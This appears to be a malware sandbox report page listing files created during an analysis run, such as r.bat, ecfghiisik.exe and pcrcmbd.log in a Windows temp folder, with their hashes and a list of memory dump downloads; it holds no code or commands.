MD5 SHA1 SHA512 TLSH

Submit Download

r.bat

Path C:\Users\Admin\AppData\Local\Temp\_t2136\r.bat
Size 6.1MB
SHA256 5045a913aacd52d43fd0ed1a0713b7d8ad68a83adc03c1599eacb1146f1b0348
MD5 fc01f422eea809f4ab7a2e8abe98cd7a
SHA1 2416b21b1fda0ef6d09bc463ad802c19d1233de6
SHA512 585a587ae38383bac5a409179f1d133b53b1093c844205382a828d21796cebd48c37af28a62729aeb549fa6767fca051b140246e7a42c6fea3de485dc12776e1
SSDEEP 49152:h280Qat58qOyCE3/+C5kC/kPsZ9/k5L3GiXnksPOMLAjIKLwnQoFQ9KmNydNtgtm:h
TLSH
T1CB5602E40D482B9AE21FD549C7B9FAB9D0371B730D25484BFEA12186487D6C67A37C0E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ecfghiisik.exe

Path C:\Users\Admin\AppData\Local\Temp\ecfghiisik.exe
Size 8.5MB
SHA256 25eb40e07aa06c10dfbd72e7812d68eb0b1644809ad2d6182937c7811a2a5d05
MD5 b7eda2e6cceae334e76ab396423d409f
SHA1 8f8a5a450aedc4b7075ae0fbb96cf29278975f2a
SHA512 cb220a8c7fe007472d5c6a6d1f66dd5fddaf948cc0333c5d72ec5802dd5ab64481b92ba404f540f46b4aaec2ebf4aa924a5c973b18e499e356cd8b9c1c2fffc9
SSDEEP 49152:1novuBENLk2H+4QlNtmWKRD/mkXYQ7mTqTXsstk/KjC9JBgq/x1Vr3sf9oVv5wa1:1n8uE3+/t9DgqZ1RmDOdEpd9XAkE
TLSH
T135963917FC6554E9C4AED1318A629113BBB27C890B3123D72B50F7282F76BD0AEB9354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pcrcmbd.log

Path C:\Users\Admin\AppData\Local\Temp\pcrcmbd.log
Size 6.1MB
SHA256 166005c2e8deae566cb2fc0ef449bf50e96e7fb402aa5be2d536f5f7791fcbcb
MD5 14f3b2f50d42a3b796eeecb1aea98e72
SHA1 53da854e89f28b54dffe5af41be4fff49c69e0a0
SHA512 0dffcc6d70fcddef13e87695027bf3359baa8a25b3272f9e86ac38bf24317a31a4a6509c281b24c5a49a86e0eb08ed695cb54a1820715e657f4effe164d44791
SSDEEP 49152:u9Gx0vsqcgWX9AbLOWHqB8U7RhFSeuXH47rga7/FmigjTzenfHMWFuoBoyJtOO9Z:9
TLSH
T1CE56F2F40D582B9AA61FD549C3BAF9BAC0371B730D25884BFEA1318645796C67933C0E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pcrcmbd.log

Path C:\Users\Admin\AppData\Local\Temp\pcrcmbd.log
Size 5.6MB
SHA256 19eb9ea94d5b0876a1702edaed4bd3b8efbe8c9f725b91156a3f4ac807dc4a68
MD5 f7f6c44ab0e1cbccb42f1c430ad77149
SHA1 9525c89908f2fcf4f024baae4f4994dce37cd8d1
SHA512 3c9985643f1014a1019527e585502d419578b2bbdf22b34de57fb3ac81eb92e09835c3fd35695ba9ad1ebb953595c4bfe67af7fbc188a29800a75001a5ea5463
SSDEEP 49152:u9Gx0vsqcgWX9AbLOWHqB8U7RhFSeuXH47rga7/FmigjTzenfHMWFuoBoyJtOO9k:I
TLSH
T12656F2F40D582B9AA61FD549C3BAF9B9C0371B730D25884BFFA1218649796C67933C0E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Unconfirmed 791512.crdownload

Path C:\Users\Admin\Downloads\Unconfirmed 791512.crdownload
Size 4.1MB
SHA256 416ddba66463daaf40101de6c9f6ee030f7895d544348c33ea315f48d69b9f82
MD5 cb3781c9226d3cf6156ee531d15a203c
SHA1 2abdb00e4f154d8b011b678abaecf87fb0a43dc7
SHA512 c8925f9572af94036e64b332f96e58f346a02c4ad7598cc9aa06f0665f2c36a537290da3eb5a40ff5c419f90610bcce16f7ddf94d8f660f79f4a30aa12dfc86b
SSDEEP 98304:AaXp2OPCo8OZHBuC/dkf0o4V3IQnGeUtH15EobDU8HJ:AypdPCyBNmMoS3IG3xoPU
TLSH
T1B416332A0699BF90EDB92BB8FFB604FDDE343A36C3DD071122BDD3A45542A88D54481D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/408-1764-0x00000192BB660000-0x00000192BB670000-memory.dmp

Download

memory/408-1765-0x00000192BBAF0000-0x00000192BBB12000-memory.dmp

Download

memory/2136-1774-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp

Download

memory/2136-210-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp

Download

memory/2136-4889-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp

Download

memory/2260-3325-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp

Download

memory/2260-1777-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp

Download

memory/3732-3327-0x00007FF6B89D0000-0x00007FF6B9003000-memory.dmp

Download